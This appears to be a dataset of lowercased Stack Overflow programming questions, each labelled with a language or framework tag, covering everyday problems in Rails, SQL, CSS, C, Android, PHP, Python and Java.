this.populateplatforms(       )); </code></pre>   i want my callback function to use the data that it received in the callback.  how can i achieve that   thanks in advanced!,javascript
how to make a date range with created_at  i m trying to get the total number of profile views created within the last 30 days in my rails app. the code below is producing a result of  0  when it s expected to be  1  (i.e. i viewed the profile once). i m wondering if i did something wrong with the range. rails is not throwing an error.    <pre><code> @profileviews = profileview.where({:user_id =&gt; @user.id  :created_at =&gt; (date.today)..(date.today - 30)}).count </code></pre>   note  the profileview i m expecting it to include in the count was created today.     <code>created_at:  2013-05-31 14:43:55 </code>,ruby-on-rails
simple horizontal content slider / scroller only with css   <strong>click this link to see my concept image regarding the subject:</strong> <a href= http://i45.tinypic.com/k33c0i.jpg  rel= nofollow >http://i45.tinypic.com/k33c0i.jpg</a>    hi! is it possible to do such custom  sliders  for overflowing content without the default scrollers  it doesn t matter how the actual transition goes (could work just like the regular horizontal scrollbar for i care  just without the ugly default gray buttons/bar). preferably i would like to do it just with css  but if not  i ll consider other ways to do it aswell. or i ll just simply create another page to the remaining images.    <a href= http://www.visioville.fi/en/  rel= nofollow >http://www.visioville.fi/en/</a>    thanks!,css
iphone application universal app  i am working on one application and in which i am downloading 2000 images and store some data in sqlite database using connection from server.this works fine in simulator but crash in iphone device.i am using try..catch for handel error but it simply crash and not display any error.so please help me to run this application in device also.,iphone
return a pointer in a function  why do this always returns me a (nil) or null pointer  even when the pointera isn t a null pointer    <pre><code>struct example *dosomething(struct example*  struct example*); struct example *pointera; struct example *pointerb; ... main(){     ...     dosomething(pointera pointerb);     ... } struct example* dosomething(struct example *pointera struct example *pointerb) {     ...     return pointera; } </code></pre>,c
how to create rtl viewpager for locale   how to create <strong>rtl viewpager</strong> with both <strong>en</strong> and <strong>arabic</strong> locale     i am using this code :    <a href= https://github.com/diego-gomez-olvera/rtlviewpager  rel= nofollow >https://github.com/diego-gomez-olvera/rtlviewpager</a>    but i cannot implement both locale.,android
trying to lookup data based on multirows and data  i have a table where i have employee login data stored.  one row for each login.     i have a need to pull out and check each set of employee data where they logined in in multiple states.     example date:   <pre><code>employeenumber: employeestate 216394      rcail      216394      rcail      216394      rcail      216394      rcail      216394      rcail      216395      ia         216395      ne         216395      ia         216395      ia         216395      ia         216395      ne         216395      ia         216400      ta         216400      ta         216400      ta         216400      ta         216400      ta       </code></pre>   in this example i would like for all rows associated with 216395 to be pulled out so i can view them and reconcile if they are correct.,sql
metaclasses and __slots__   so  i am reading a bit about metaclasses in python  and how <code>type()</code> s three-argument alter-ego is used to dynamically create classes.  however  the third argument is usually a <code>dict</code> that initializes the to-be created class  <code>__dict__</code> variable.    if i want to dynamically create classes based on a metaclass that uses <code>__slots__</code> instead of <code>__dict__</code>  how might i do this   is <code>type()</code> still used in some fashion along with overriding <code>__new__()</code>     as an fyi  i am aware of the proper uses for <code>__slots__</code>  to save memory when creating large numbers of a class versus abusing it to enforce a form of type-safety.    <br />example of a normal (new-style) class that sets <code>__metaclass__</code> and uses a <code>__dict__</code>:   <pre><code>class meta(type):     def __new__(cls  name  bases  dctn):         # do something unique ...         return type.__new__(cls  name  bases  dctn)  class foo(object):     __metaclass__ = meta      def __init__(self):         pass </code></pre>   <br />in the above  <code>type.__new__()</code> is called and the fourth argument (which becomes the third when actually used) creates a <code>__dict__</code> in <code>foo</code>.  but if i wanted to modify <code>meta</code> to include <code>__slots__</code>  then i have no dictionary to pass on to <code>type()</code> s <code>__new__()</code> function (as far as i know -- i haven t tested any of this yet  just pondering and trying to find some kind of a use-case scenario).    <strong>edit:</strong> a quick  but untested guess  is to take a dict of the values to be put into the <code>__slots__</code> variables and pass it to <code>type.__new__()</code>.  then add an <code>__init__()</code> to <code>meta</code> that populates the <code>__slots__</code> variables from the dict.  although  i am not certain how that dict would reach <code>__init__()</code>  because the declaration of <code>__slots__</code> prevents <code>__dict__</code> from being created unless <code>__dict__</code> is defined in <code>__slots__</code>...,python
set jre variables from java code  we need to set -xmax and -xmin environment variables manually but i want to set these variables from java code. is there any way to set these variables with java code.  thanks.,java
find from a subset of ids  something like <code>model.find(array_of_ids  :conditions =&gt; {:attribute =&gt;  something })</code>    where i will be returned all entries where attribute = something  but only from within that array of ids.,ruby-on-rails
uinavigationcontroller embedded within tabbarcontroller  have any example or code can show how to embedded a uinavigationcontroller within tabbarcontroller typically we develop application is from uinavigationcontroller rather than tabbarcontroller so i am so confuse now can help,iphone
using only css  any way to  flash  an element to draw attention after named anchor click   i m really not much of a web coder.  i m struggling through modifying a shopping cart template.  i m using a named anchor to get a user down to a detailed description area. that works fine  but the way it jumps is kind of disorienting and i d like to draw attention to the heading.  below is the div containing the named anchor.  i d preferably like to flash #more_info_sheets (which is the heading) or else idtab1 (which is the content and also the anchor target)   <pre><code>&lt;div id= bottom_more_info_block  class= mar_b2 &gt;     &lt;div id= more_info_block &gt;         &lt;ul id= more_info_tabs  class= idtabs common_tabs li_fl clearfix &gt;             &lt;li&gt;&lt;a id= more_info_tab_more_info  href= #idtab1  class= selected &gt;more info&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #idtab5  class= idtabhrefshort &gt;comments(0)&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #idtab311  id= st_easy_tab_1 &gt;installation instructions&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;div id= more_info_sheets  class= sheets align_justify &gt;             &lt;div id= idtab1  class= rte product_accordion open &gt;                 [...subject content...]             &lt;/div&gt;             &lt;div style= display:none; &gt;                 &lt;div id= new_comment_form &gt;                     [...blahblah...]                 &lt;/div&gt;             &lt;/div&gt;             &lt;div id= idtab5  class= product_accordion block_hidden_only_for_screen &gt;                 [...blahblah...]             &lt;/div&gt;             &lt;div id= idtab311  class= product_accordion block_hidden_only_for_screen &gt;                 [...blahblah...]             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   what i have managed to do so far on my own is get the #idtab1 content to change to a yellow background when i click the link.  but now i m stuck.  first off  i don t want it to stay highlighted.  second  it isn t exactly a slick effect even if it did go away!  third  i d really rather flash the heading when clicked  rather than the #idtab1 itself.   <pre><code>#idtab1:target { background-color: yellow; } </code></pre>   i found javascript based examples on the web that seemingly do exactly what i want  but i can t seem to get javascript to work with this cart so i d rather not go there right now.,css
group by in nested subquery  i ve got two tables:   <pre><code>researcher (resid  fname  gname) book (bookid  resid*  descr) </code></pre>   i need to use <code>in</code> (one of the condition of my assignment) statement to show a list of researchers that have more than 5 books.    i ve got the following sql query that seems to be logic but it gives an error. the subquery on its own works just fine:   <pre><code>select  resid  fname from researcher where resid in    (select book.resid  count(*)    from book    group by book.resid    having count(*) &gt; 5    ) </code></pre>,sql
determine the coeffiicients of a polynomial function  i get difficulty with coding the following:    higher order derivatives. a) given n € n    x0 a0 a1 …an € r with an != 0  write a program that determines     the coefficients a0 a1 ….an of the unique polynomial function p of degree n that     satisfies the conditions p(x0)= a0   p’(x0)= a1 …….p(n)(x0)=an.    i know the math part very well but i stuck at the coding part. please help!,python
click event not producing the expected result  i have this code that looks clean and fine  but it is not producing the desired result.<br> <strong>html</strong>   <pre><code>&lt;nav&gt;   &lt;div class= div1 &gt;     &lt;p&gt;this is the first paragraph inside the division&lt;/p&gt;     &lt;p&gt;this is the second paragragh inside the division&lt;/p&gt;     &lt;h5&gt;this is a h5 header&lt;/h5&gt;     &lt;p&gt;this is a paragraph next to he h5 header&lt;/p&gt;     &lt;a href= #  class= ankor  &gt;justklick&lt;/a&gt;   &lt;/div&gt;        &lt;/nav&gt;   </code></pre>   <strong>javscript</strong>     <pre><code>jquery(document).ready(function () {     function click(ev) {         var ev = window.event;         console.log(ev.type);     }     var anchor = document.queryselector( .ankor );     anchor.onclick = click(); </code></pre>   i actually expected to see the name of the event in my console  instead this is what i am having as the result    domcontentloaded .    can anybody tell me a reason for this,javascript
how to stop validating numbers stats with zero (0) in php  i am making a php form. i want to validate numerical content in php. i am using this php code for do it.   <pre><code>if (!preg_match( /^[0-9]*$/  $id))  {     $id_err =  only numbers allowed ; } </code></pre>   but this code allows numbers starts with 0.     <pre><code>ex:- 01 02 ..... 0100... </code></pre>   i only need to allow nubers like    <pre><code>1 2 ....100 ... </code></pre>   how can i write this regular expression,php
boxes display differently in safari  can anybody explain to me why the two boxes  badrum  &amp;  sovrum  get on top of each other in safari but in all other browsers they lay side by side.    it used to work in safari but i can t remember any changes i ve done that should affect this.    <a href= http://linusfrimodig.se/karin/  rel= nofollow noreferrer >http://linusfrimodig.se/karin/</a>,html
in angularjs  grouping the checkbox and radio buttons  since i m new to angularjs and hence asking the approach for this ui design in angularjs. i have two radio buttons and each radio button has corresponding container ui which has 3 checkboxes in it.    i have attached the screenshot for reference.<a href= https://i.stack.imgur.com/3sll7.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/3sll7.png  alt= enter image description here ></a>    when i click fruit  only fruits checkbox should be visible and when i click vegetables  only vegetables checkbox should be visible. <a href= https://i.stack.imgur.com/50vmh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/50vmh.png  alt= enter image description here ></a>    i m not sure how do it start.. using table or something else. small sample code would be fine for me to proceed    thanks,angularjs
need to display distinct value  note:table is not inserting correctly. kindly understand   <pre><code>(col1-id col2-name col3-type(a1 b1 c1 d1) col4-year) </code></pre>   table: example1    this is my query    <pre><code>select distinct name type from example1   id   name       type   year  1    sai         a1    2017  2    sai         b1    2016  3    sai         c1    2015  4    joe         a1    2016  5    michael     c1    2015  6    michael     d1    2013  7    michael     a1    2012 </code></pre>   and my query is  when i am selecting name and type from example1 table the result is shown below   <pre><code>id   name       type    1    sai         a1     2    sai         b1         3    joe         a1     4    michael     c1     5    michael     d1 </code></pre>   i need a <strong>latest year value</strong> but <strong>it displaying duplicate value(with latest year value and previous year value)</strong> please help on this.,sql
how to make static nested select faster  i have a query similar to this   <pre><code>from products as p  .. left join ( select .. ) as popularity on popularity.products_id = p.products_id left join ( select .. ) as reviews on reviews.products_id = p.products_id where.. and.. .. </code></pre>   the nested <code>select</code>s from the <code>left join</code> are <em>static</em>  i mean the returned result is not influenced by external values. those two <code>select</code>s use data from within the db and calculate a result. the results of these queries change rarely  when some user makes a review for a product for example.     the problem is that these <code>select</code>s take a lot of time to complete  they go through each row of their respective tables.    is there a way i could make this query faster by transforming it into several smaller queries  or caching the nested selects in some way,mysql
how to use onclicklistener  i am trying to use an onclick listener on radio buttons to update a spinner i have. the default numbers in the spinner will be 15  25  35  and 45. when you select the kg radio button i want it to change to 8  15  and 20. i have the following:   <pre><code>public class platecalc_tab extends activity  {  @override public void oncreate(bundle savedinstancestate)  {     super.oncreate(savedinstancestate);     setcontentview(r.layout.platecalc_tab);      radiobutton weightsettinglb = (radiobutton)findviewbyid(r.id.weightsettinglb);     radiobutton weightsettingkg = (radiobutton)findviewbyid(r.id.weightsettingkg);      weightsettinglb.setchecked(true);      weightsettinglb.setonclicklistener(updatetolb);     weightsettingkg.setonclicklistener(updatetokg);      list&lt;string&gt; weightofbararray =  new arraylist&lt;string&gt;();      weightofbararray.add( 15 );     weightofbararray.add( 25 );     weightofbararray.add( 35 );     weightofbararray.add( 45 );      arrayadapter&lt;string&gt; adapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_spinner_item  weightofbararray);      adapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);     spinner weightofbarspinner = (spinner) findviewbyid(r.id.weightofbarspinner);     weightofbarspinner.setadapter(adapter); }  view.onclicklistener updatetokg = new view.onclicklistener()  {     public void onclick(view view)     {      } }; </code></pre>   this code currently works. when i enter the following code into my onclick listener i get an error.   <pre><code>view.onclicklistener updatetokg = new view.onclicklistener() {     public void onclick(view view)     {         list&lt;string&gt; weightofbararray =  new arraylist&lt;string&gt;();          weightofbararray.add( 8 );         weightofbararray.add( 15 );         weightofbararray.add( 20 );          arrayadapter&lt;string&gt; adapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_spinner_item  weightofbararray);          adapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);         spinner weightofbarspinner = (spinner) findviewbyid(r.id.weightofbarspinner);         weightofbarspinner.setadapter(adapter);     } }; </code></pre>   i get  cannot resolve constructor  @ this line:   <pre><code>arrayadapter&lt;string&gt; adapter = new arrayadapter&lt;string&gt;(this  android.r.layout.simple_spinner_item  weightofbararray); </code></pre>,android
how add value in the beginning of the array with a key   i know about function <code>array_unshift()</code>  but that adds to array with a autoincrement <code>key</code>. for this code:   <pre><code>$messages[$obj_result[ from ]] = $obj_result; </code></pre>   i need to add value <code>$obj_result</code> in the beginning of the array. so  last added value will be in the beginning of array.,php
what is the defaul font face in html  what is the default font face set  if you don t specifically set the font   it seems to be calibri  is this right or is this because of my browser,html
how can i communicate between two python scripts   i have a 3d party python script which takes input from the command line.  the relevant code from this script (input.py) looks like the following:   <pre><code>import sys  def chooseinput():     valid_inputs = ( a    b )     inp = raw_input( enter choice (%s):   %  / .join(valid_inputs))     if inp not in valid_inputs:         sys.stderr.write( unsupported input %s\n  % inp)         return     print  you chose   +  \   + inp +  \       return inp  if __name__ ==  __main__ :     chooseinput()     # do something with the input...     chooseinput()     # do something with the input... </code></pre>   i m trying to write another python script (harness.py) to generate the inputs for the above script.   <pre><code>import subprocess  def harness():     p = subprocess.popen([ python    input.py ]  stdin=subprocess.pipe)     p.stdin.write( a )     p.stdin.write( b )  if __name__ ==  __main__ :     harness() </code></pre>   from the command line  i run:   <pre><code>$ python harness.py enter choice (a/b): enter choice (a/b): traceback (most recent call last):   file  input.py   line 13  in &lt;module&gt;     chooseinput()   file  input.py   line 5  in chooseinput     inp = raw_input( enter choice (%s):   %  / .join(valid_inputs)) eoferror: eof when reading a line </code></pre>   if i only have one input in the first script  then i can make the second script work by removing the second write call.  if the first script requires more than one input  then i get the above error.,python
sql query to retrieve the last record  i have table article related to another table article_has_type     the structure of article table is   <pre><code>    create table `articles` (     `id` int(11) not null auto_increment      `titre` varchar(255) null default null      `description` text null  ) </code></pre>   structure  for table article_has_type is   <pre><code>create table `arhastypes` (     `id` int(11) not null auto_increment      `article_id` int(11) null default null      `type_id` int(11) null default null  ) </code></pre>   i want to get the last article added to each type.    thank you.,sql
class and methods  i m not sure what exactly to ask. i have created a class named <code>car</code> when i click the accelerate button on <code>form1</code> i want it to accelerate 5 increments. i need to use the method accelerate from the car class to do this. i thought i was calling it correctly but nothing is working. i need simple answers as i am a beginner.   <pre><code>namespace car_class {     class car     {         public string _year;         public string _make;         public double _speed;          public car(string year  string make  double speed)         {             _year = year;             _make = make;             _speed = 0;         }          public string year         {             get { return _year; }             set { }         }          public string make         {             get { return _make; }             set { }         }          public double speed          {             get { return _speed; }             set { }         }          public double accelerate()         {             return _speed += 5;         }          public double brake()         {            return  _speed -= 5;         }     } } </code></pre>   then the button....   <pre><code>namespace car_class {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }          private void accbutton_click(object sender  eventargs e)         {             string _year =   ;             string _make =   ;             int _speed = 0;              car acc = new car(_year  _make  _speed);              acc.accelerate();              currentspeedlistbox.text =                 }     } } </code></pre>,c#
creating animation on imageview while changing image resource  i have only one <code>imageview</code> in my layout and i am changing its resource when a gasture event detected. i just want to show an animation while changing resource of imageview. can i use <code>viewflipper</code> with <code>one</code> imageview,android
calculate percentage based on input fields in angularjs  i am using angularjs. i have two input fields: total marks and marks obtained  as well as a 3rd field which is percentage. now after entering total marks and marks obtained  i need to calculate the percentage automatically.    here is my html :   <pre><code>&lt;div class= form-group &gt;     &lt;label class= control-label &gt;total marks&lt;/label&gt;     &lt;input type= text             class= form-control input_field             name= totalmarks             data-ng-model= student.totalmarks  /&gt; &lt;/div&gt; &lt;div class= form-group &gt;     &lt;label class= control-label &gt;marks obtained&lt;/label&gt;     &lt;input type= text             class= form-control input_field             name= marksobtained             data-ng-model= student.marksobtained  /&gt; &lt;/div&gt; &lt;div class= form-group &gt;     &lt;label class= control-label &gt;percentage&lt;/label&gt;     &lt;input type= text             class= form-control input_field             value={{ ((student.marksobtained/student.totalmarks)*100).tofixed(2) }}            name= rank             data-ng-model= student.rank  /&gt; &lt;/div&gt; </code></pre>   can anyone tell me how to auto generate rank field with percentage as soon as i enter marks obtained. currently  i am doing as shown above but it is not working.,angularjs
android programming style  i ve been coding for my android phone lately  and i ve been wondering... is this intent class supposed to outline a new programming style      i ve been suspecting the api design discourages mvc: intents are the main way to interact with all user-related objects (activities  services  other apps...).    is my train of thought right  should is stick to  contaminating  activities with business logic     i have been reading the android developers site and no particular coding style is encouraged though.,android
how exactly does theme inheritance work in android   i have the following theme in <code>res/values/styles.xml</code>:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;resources xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;style name= appbasetheme  parent= @android:style/theme.notitlebar &gt;     &lt;/style&gt;      &lt;style name= apptheme  parent= appbasetheme &gt;         &lt;item name= android:windownotitle &gt;true&lt;/item&gt;     &lt;/style&gt; &lt;/resources&gt; </code></pre>   if i remove the <code>&lt;item name= android:windownotitle &gt;true&lt;/item&gt;</code> line  my activities have the titlebar on them. however  if i keep that line there  then they do not have a titlebar (which is what i want).    i m curious why <code>parent= @android:style/theme.notitlebar </code> seems to have no effect  does <code>parent</code> not do what i think it does  i thought it worked like this:   <pre><code>@android:style/theme.notitlebar --&gt; appbasetheme --&gt; apptheme ^                                   ^                ^ |                                   |                | |                                   |                has everything appbasetheme |                                   |                does  unless it s overridden |                                   | |                                   has everything @android:style/theme.notitlebar |                                   does  unless it s overridden (which i m not |                                   doing) | sets whatever it needs to to not have a title  which i assume is done by setting &lt;item name= android:windownotitle &gt;true&lt;/item&gt; </code></pre>   however  i ve also found that if i set <code>&lt;item name= android:windownotitle &gt;true&lt;/item&gt;</code> in <code>appbasetheme</code> it also has no effect; i have to set it in <code>apptheme</code>. then what the heck is the point of specifying the parent,android
regular expression validator for date format dd/mmm/yyyy <pre><code>&lt;asp:textbox id= txtdob  runat= server  maxlength= 100  cssclass= textbox2  size= 10   /&gt; &lt;ajax:textboxwatermarkextender id= txtwedob  watermarktext= dd/mon/yyyy  targetcontrolid= txtdob  runat= server  /&gt; &lt;asp:regularexpressionvalidator id= rfv  runat= server  controltovalidate= txtdob  setfocusonerror= true   validationexpression= ^(3[0-1]|2[0-9]|1[0-9]|0[1-9])[\s{1}|\/|-](jan|jan|feb|feb|mar|mar|apr|apr|may|may|jun|jun|jul|jul|aug|aug|sep|sep|oct|oct|nov|nov|dec|dec)[\s{1}|\/|-]\d{4}$    display= none  validationgroup= search  errormessage= please enter correct date &gt; &lt;/asp:regularexpressionvalidator&gt; </code></pre>   i am using this regular expression validator for date. it is not giving error for like 12-feb-2010 or 12 feb 2010. i strictly want 12/feb/2010 format. this regular expressii\on is not working for date like 29/feb/2010. what changes need to be made.,.net
how do i change the background color of a view controller managed by a uipageviewcontroller   i created an onscreen tutorial for my ios app.     to accomplish this i m using a uipageviewcontroller which is managing 3 viewcontrollers.   <pre><code>- (void)setupcontentviews{ uiviewcontroller *screentutorial1 = [[uiviewcontroller alloc] initwithnibname:@ screentutorial_1viewcontroller  bundle:nil]; uiviewcontroller *screentutorial2 = [[uiviewcontroller alloc] initwithnibname:@ screentutorial_2viewcontroller  bundle:nil]; tutorialpages = @[screentutorial1  screentutorial2]; </code></pre>   }    everything works great  except that when i got to change the background for screentutorial1 or screentutorial2 it never gets called. what s the reason for this  is there a solution    <pre><code>- (void)viewdidload { [super viewdidload]; self.view.backgroundcolor = [uicolor redcolor]; nslog(@ line 30) ); } </code></pre>   after some experimentation it appears that if i add the code in uipageviewcontroller (see below) it sets the property. but what if i need to add any custom methods to my view controllers  do i need to do everything from uipageviewcontroller     <img src= https://i.stack.imgur.com/fxgis.png  alt= enter image description here >,objective-c
defuse php - your system does not have a secure random number generator  i just fetched the defuse-crypto.phar file and put it into my project i used   <pre><code>require_once  defuse-crypto.phar  </code></pre>   added   <pre><code>use defuse\crypto\key; use defuse\crypto\crypto; </code></pre>   and tried to use it but gets   <blockquote>     your system does not have a secure random number generator.   </blockquote>   i got a little bewildered as it says it only requires php 5.4  but random_bytes is php 7+<br> then i noticed the paragonie library inside the phar file. do i need to do anything to activate that  because i obviously need a polyfill or is there something else i need on the server,php
angularjs block ulr navigation when user is not logged in  i have to allow user to access application when user is logged in<br> and if user is not logged in then user should not be able to access the application by simply redirecting through <strong>url</strong><br> in above case user should redirect to <strong>login</strong> page if he is not logged in    i tried in below way   <pre><code>$rootscope.tempobj = false;  $rootscope.$on( $statechangestart   function (event  tostate) { if($rootscope.tempobj) {        return; } else {     $state.go( login );     event.preventdefault();   return; } }); </code></pre>   here i am doing <code>$rootscope.tempobj = true</code> in login success callback      but i am getting an error - <strong>rangeerror: maximum call stack size exceeded</strong>   <ul> <li>my question is how to block url redirection if user is not logged in..  </li> <li>and allow few state like forgot password  reset password  etc without user logged in</li> </ul>,angularjs
jquery val is correct function   the javascript in the code below is supposed to set some values in a form equal to the variable selected[] (possible values for selected[i]: true  false;) for sure  the code before has set the proper values for all selected[i] elements.     however  the console shows the error  productvalid: [object object]  (instead of a true or false). am i reading or writing the values in the wrong way  (i read and googled quite a bit about the jquery val() and related functions like prop() and attr() but can figure out what goes wrong. i also used the val() function in another part of code to write a value to an input tag which does work).    html code (the input type is rep:   <pre><code>&lt;input type= hidden  id= productvalid1  name= productvalid[]  value= false  /&gt; &lt;input type= hidden  id= productvalid2  name= productvalid[]  value= false  /&gt; &lt;input type= hidden  id= productvalid3  name= productvalid[]  value= false  /&gt; </code></pre>   javascript code:   <pre><code>for(var i=0;i&lt;nrofproducts;i++) {     $( #productvalid +i).val(selected[i]);     x = $( #productvalid +i).val(selected[i]);     console.log( productvalid:  +x); } </code></pre>,jquery
copy of function address from function pointer using call by refrence  my intention is to know the which function i am supposed to call based some other inputs during run time . for this i have created function pointer. here i wrote sample code for better understanding.   <pre><code>#include &lt;stdio.h&gt; typedef int (*processfunptr)(int a  int b);  int add (int a  int b) {     return (a+b); }  int sub (int a  int b) {     return (a-b); }  void check (int a  int b  processfunptr funptr) {     if (a&lt;b)     {         funptr = &amp;add; /*here i am expecting to copy same address in sendptr*/         printf( %p\n   funptr);         printf( %p\n   &amp;add);     }     else     {         funptr = &amp;sub;           printf( %p\n   funptr);         printf( %p\n   &amp;sub);     } }  void calculate(int a   int b  processfunptr calptr) {     int c;      c = calptr(a b); } int main() {     processfunptr sendptr = null;     int a b;     scanf ( %d   &amp;a);     scanf ( %d   &amp;b);     check(a b &amp;sendptr); /*here i am passing a address of function pointer*/     if (ptr != null)     {         calculate(a b sendptr);     }     else     {         printf( \npointer is null );     }     return 0; } </code></pre>   but i see sendptr is always null. what i need to do copy function address of add/sub to sendptr.,c
overloading = c++ more structures  i m doing program for people register and i have problem with overloading operator =.    i have class <code>cregister</code>  struct <code>person</code> and <code>place</code>.   <pre><code>struct places{     char date[11];     char * street;     char * city;  places &amp; operator = (const places &amp; other){         delete [] street;         delete [] city;          strncpy (date  other.date  11);          int len;         len = strlen(other.street);         this-&gt;street = new char[len];         strncpy ( this-&gt;street  other.street  len );          len = strlen(other.city);         this-&gt;city = new char[len];         strncpy ( this-&gt;city  other.city  len );          return *this;     } }   struct person{     char id[12];     char * name;     char * surname;     places ** oldplaces;      int placescount;     int placessize; };  person &amp; person::operator =(const person&amp; other){     for (int i = 0; i &lt; this-&gt;placessize; i++){          delete this-&gt;oldplaces[i];     }     delete [] this-&gt;oldplaces;     delete [] name;     delete [] surname;       placescount = other.placescount;     placessize = other.placessize;      oldplaces = new places*[other.placessize];      strncpy (id  other.id  11);          int len;          len = strlen(other.name);         this-&gt;name = new char[len];         strncpy ( this-&gt;name  other.name  len );          len = strlen(other.surname);         this-&gt;surname = new char[len];         strncpy ( this-&gt;surname  other.surname  len );      for (int i = 0; i &lt; placescount; i++){         oldplaces[i] = other.oldplaces[i];     }      return *this; }    class cregister       {    private:     person **persons;     int personcount;     int personsize;  };   cregister&amp; cregister::operator =(const cregister&amp; other){     for (int i = 0; i &lt; this-&gt;personsize; i++){         delete this-&gt;persons[i];     }     delete [] this-&gt;persons;      personcount = other.personcount;     personsize = other.personsize;      persons = new person*[other.personsize];      for (int i = 0; i &lt; personcount; i++){         persons[i] = other.persons[i];     }       return *this;   } </code></pre>   however  the code has compiled but netbeans shows me run failed. why,c++
a namespace cannot directly contain members   i have a problem. i have been following a tutorial  so that i could learn programming with xamarin. well now i have this error line  that i have written in the title. here s the code for you all;    <pre><code>using system.collections.objectmodel; using uikit;  namespace freesongsforme { static void main(string[] args) {  var listview = new listview(); var mytrainers = new observablecollection&lt;string&gt;() {        song 1        song 2    }; listview.itemssource = mysongs;       mytrainers.add( songsr );  } </code></pre>   the   main   part is marked as an error.,c#
how to get facebook data of user with their permission  i want the facebook public data of my friends list using    graph api  . for that i need to take friends permission according to my knowledge and research so far. or is there any other option to get friends data   if so how to get their permission to get the public data,java
fundamental objective-c question...driving me crazy  its been a long time since i ve done any programming.  used to be  ok  at reading c &amp; c++...never wrote much.    i have an extremely simple class that i want to use to manipulate the contents of an array (using <code>nsmutablearray</code>).  the array needs to persist as an object so i can make multiple updates to it during a single run of my program (not worried about storing state data to disk yet)     here is my problem.  i am not clear on where/when i should alloc/init my array object so that it will be in a usable state each time a button is clicked on my iphone s view.    i am trying to create a subclass of <code>viewcontroller</code> that includes an array as an instance variable  which can then be referenced in the code that responds to button clicks from the view. i ve tried 3 approaches   <ol> <li> i ve tried to just reference the array instance variable in a method i ve written as part of the same class. no alloc/init anywhere in this version of code.  when i call the addobject function it appears to fail because the array object has not been allocated/initialized. </li> <li> i ve also tried to alloc/init an instance of my array object in the <code>viewwilldisplay</code> method.  the xcode compiler complains that my newly allocated object is never used. </li> <li> for kicks  i ve done an alloc/init within the scope of the  button click  method i m writing...but of course that allocates a new instance each time i click my button.   </li> </ol>   here is what i ve got in the <code>.h</code> and <code>.m</code> files for my example (this shows scenario 1)    would really appreciate it if someone could fill in the giant blank i ve obviously got in my understanding of how instance variable objects are supposed to be used. (i ve read a wide variety of apples docs on obj-c..etc.  also googled my brains out trying to find an explanation.    the .h:   <pre><code>#import &lt;uikit/uikit.h&gt;  @interface arraymanagerviewcontroller : uiviewcontroller {     nsmutablearray *buttonarray; } - (ibaction)buttonclicked:(id)sender;  @end </code></pre>   and the .m   <pre><code>#import  arraymanagerviewcontroller.h   @implementation arraymanagerviewcontroller  - (ibaction) buttonclicked:(id)sender {     nsstring *sendertitle = [sender currenttitle];     int intsendertitle = [sendertitle intvalue];     [buttonarray insertobject:[nsstring stringwithformat:@ %d                                                            intsendertitle]                       atindex:intsendertitle];      for (id obj in buttonarray)         nslog(@ object value %@   obj); } </code></pre>,objective-c
installing python 3.5 in virtaul env  i have already created a virtual env in which python 3.4 is already installed is there a way i can install python 3.5 in <strong>this</strong> env.i already tried pip install python3.5  i get -no distributions found that satisfy the requirement,python
table row width by image  need some help with html. have table and where is image is empty place  i dont want that it will be empty.    it looks like this    <img src= https://s7.postimg.org/6l1e69hor/table.jpg  alt= two muppets  title= tooltip >    and code:   <pre><code>echo  &lt;table  border=2  &gt; ;         echo  &lt;tr&gt;&lt;td&gt;telefono pavadinimas&lt;/td&gt;&lt;td&gt;nuotrauka &lt;td&gt;kaina&lt;/td&gt;&lt;td&gt;parduotuve&lt;/td&gt;&lt;td&gt;nuoroda&lt;/td&gt;&lt;/tr&gt; ;         for($i=0;$i&lt;$num;$i++)         {         $row=mysql_fetch_row($fetch);         echo  &lt;tr&gt; ;         echo &lt;td&gt;$row[1]&lt;/td&gt; ;         echo  &lt;td&gt;&lt;img src=\ {$row[5]}\   width=60%  height=60% /&gt;&lt;/td&gt; ;         echo &lt;td&gt;$row[2] lt&lt;/td&gt; ;         echo &lt;td&gt;$row[3]&lt;/td&gt; ;         echo  &lt;td&gt;&lt;a href=\ {$row[4]}\ &gt;&lt;img src=\  .base_url(). images/parduotuve.png\  /&gt;&lt;/a&gt;&lt;/td&gt; ;         echo &lt;/tr&gt; ;         }         echo &lt;/table&gt; ;         } </code></pre>   tried   <pre><code>echo  &lt;td width=height60% width=60%&gt;&lt;img src=\ {$row[5]}\   width=60%  height=60% /&gt;&lt;/td&gt; ; </code></pre>   also   <pre><code>echo &lt;td width=80&gt;&lt;img src=\ {$row[5]}\   width=60%  height=60% /&gt;&lt;/td&gt; ; </code></pre>   but in this use changed and my photo size and column size    so how to detele empty place where is photo,html
settext by database column value  i have a db named:  dbtest.db    a table named:  mensagens    a column named:  usuarioorigem . in my xml file i have a textview and a button  when button is clicked i want to the value of textview change to the value in the column:  usuarioorigem  .    how do i do it  and can you explain how it works.    i have this code but it doesnt work.    <pre><code>            textview mostrar = (textview) findviewbyid(r.id.tvusuario);             mostrar.settext(usuarioorigem.valueof(returning)); </code></pre>,android
linkedlist using iterator  im trying to add pickels between lettuce and chicken in my linkedlist and print out the final product which should be:    <strong>bread1 mustard lettuce pickels chicken tomato bread2 end...</strong>    however  the program only prints out: <strong>mustard chicken bread2 end...</strong>    can someone explain to me the error    <pre><code>public class linkedlist {   public static void main(string[] args)    {      list&lt;string&gt; mylinkedlist = new linkedlist&lt;string&gt;();      string stroutput=  ;      mylinkedlist.add( bread1 );     mylinkedlist.add( mustard );     mylinkedlist.add( lettuce );     mylinkedlist.add( chicken );     mylinkedlist.add( tomato );     mylinkedlist.add( bread2 );      listiterator&lt;string&gt; lit = mylinkedlist.listiterator();      while (lit.hasnext())     {       string str = lit.next();       if (mylinkedlist.equals( lettuce ))       {          lit.add( pickels );       }       stroutput += (lit.next().tostring() +    ) ;     }     stroutput += ( end...\n );   } } </code></pre>,java
